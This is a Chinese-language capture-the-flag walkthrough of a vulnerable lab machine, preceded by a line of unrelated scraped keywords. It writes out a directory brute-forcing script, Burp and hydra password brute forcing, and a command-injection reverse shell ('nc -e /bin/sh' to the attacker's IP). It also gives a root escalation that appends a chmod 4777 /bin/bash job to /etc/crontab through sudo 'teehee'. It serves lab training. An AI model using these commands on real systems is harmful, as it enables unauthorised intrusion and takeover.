湖州建设局网站 项目验收流程,深圳互联网企业名单,网页制作范例,怎么做wp网站文章目录 1. 靶场搭建2. 信息收集2.1 确定靶机ip2.2 主机信息收集2.3 主机目录探测 3. 渗透过程3.1 sql注入检测3.2 burp爆破3.3 反弹shell3.4 提权 4. 总结 1. 靶场搭建
靶场源地址
检验下载文件的检验码#xff0c;对比没问题使用vmware打开 # windwos 命令
Get-FileHash … 文章目录 1. 靶场搭建2. 信息收集2.1 确定靶机ip2.2 主机信息收集2.3 主机目录探测 3. 渗透过程3.1 sql注入检测3.2 burp爆破3.3 反弹shell3.4 提权 4. 总结 1. 靶场搭建
靶场源地址
检验下载文件的检验码对比没问题使用vmware打开 # windwos 命令
Get-FileHash filePath -Algorithm MD5
# linux
md5sum filepath2. 信息收集
2.1 确定靶机ip 根据虚拟机网络适配器模式确定靶机所在网段。使用nmap进行网段存活主机排除法确定靶机ip. nmap -sn 192.168.6.100/24 通过排除法确定靶机ip为192.168.6.100
2.2 主机信息收集 通过nmap探测靶机开放端口和端口对应服务 nmap -Ap 1-65535 192.168.6.100 确定开放端口:
22:ssh服务80: http服务
2.3 主机目录探测
import queue
import requests
import threading
import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) AGENT Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0
# EXTENSIONS [.php, .bak, .orig, .inc]
TARGET http://192.168.6.100
THREADS 8
WORDLIST ./all.txt words queue.Queue
读取字典文件生成扫描内容 def get_words(resumeNone): words queue.Queue() def extend_words(word): if . in word: words.put(f/{word}) else: words.put(f/{word}/) # for extension in EXTENSIONS: # words.put(f/{word}{extension}) with open(WORDLIST) as f: raw_words f.read() found_resume False for word in raw_words.split(): if resume is not None: if found_resume: extend_words(word) elif word resume: found_resume True else: extend_words(word) return words
暴力扫描 def dir_bruter(words): headers {User-Agent:AGENT} session requests.Session() session.verify False session.get(TARGET, headers headers) while not words.empty(): url f{TARGET}{words.get()} try: r session.get(url) except requests.exceptions.ConnectionError as e: # print(e) continue if r.status_code ! 404: print(url) if __name__ __main__: words get_words() for _ in range(THREADS): t threading.Thread(targetdir_bruter, args(words,)) t.start()3. 渗透过程
3.1 sql注入检测
访问web页面发现只有一个登录界面. 尝试使用sqlmap进行sql注入点检测,发现不存在注入点。
sqlmap -u http://192.168.6.100/login.php?usernameadminpasswordadmin3.2 burp爆破
尝试使用burp进行弱密码爆破,由于账号和密码都不知道使用cluster boomb模式选择爆破字典。
各种攻击模式的区别
【sinper】对单一参数进行密码爆破【battering ram】对所有参数进行同一个变量爆破如用户名和密码一样【pitchfork】对所有参数进行一一对应爆破传递两个参数两个字典一一对应。【cluster bomb】对参数进行交叉爆破常用用于不知道账号密码的情况 爆破成功账号为admin,密码为happy,成功登录 3.3 反弹shell
发现网站存在功能可以直接让服务器直接前端请求执行的命令。修改请求包命令进行反弹shell。 使用burp将请求拦截将参数radio改为nc -e /bin/sh 192.168.6.101 8888,kali使用nc进行监听 # 开启监听
nc -lvp 8888反弹shell成功 # 创建一个伪终端提高命令窗口交互
python -c import pty; pty.spawn(/bin/bash)3.4 提权
使用SUID进行提权
# 获取设置suid的文件
find / -type f -perm -4000 2/dev/null发现/home/jim/test.sh文件使用ls查看文件权限设置。查看文件内容之后发现无法利用这个文件切换到jim用户.设置suid的文件在发生变更时suid标志会被撤销无果。
ls -l /home/jim/test.sh尝试过sudo提权、搜索内核版本漏洞、crontab定时任务、/etc/passwd也没有发现利用的点。转变思路在系统中查看是否有可利用的文件。 在jim目录下找到jim的旧密码记录文件尝试进行ssh爆破。成功获取到密码jibril04.使用ssh成功登录。 # 使用hydra进行爆破
hydra -l jim -P dc4.txt ssh://192.168.6.100:22发现有一个邮件查看cat /var/mail/jim获取邮件获取到charles的密码切换用户
切换用户之后继续尝试sudo提权发现存在/usr/bin/teehee被设置为无密码使用。
# 获取teehee的帮助信息了解这个命令
teehee --helpteehee是将标准输入写入到某个文件中的一个命令。 我们可以利用这个命令去写入一个定时任务将/bin/bash权限设置为4777。
echo * * * * * root chmod 4777 /bin/bash | sudo teehee -a /etc/crontab接下来执行/bin/bash发现并没有提权猜测受到环境变量或者配置文件的限制。采用/bin/bash -p进行尝试-p参数使用保护模式启动保护模式下会忽略一些环境变量和配置文件成功提权。 成功获取flag
4. 总结
本次靶场利用到的技能:
namp进行信息收集burp suite利用字典进行账号密码爆破篡改发送包参数。hydra进行ssh字典密码爆破sudo配合定时任务提权。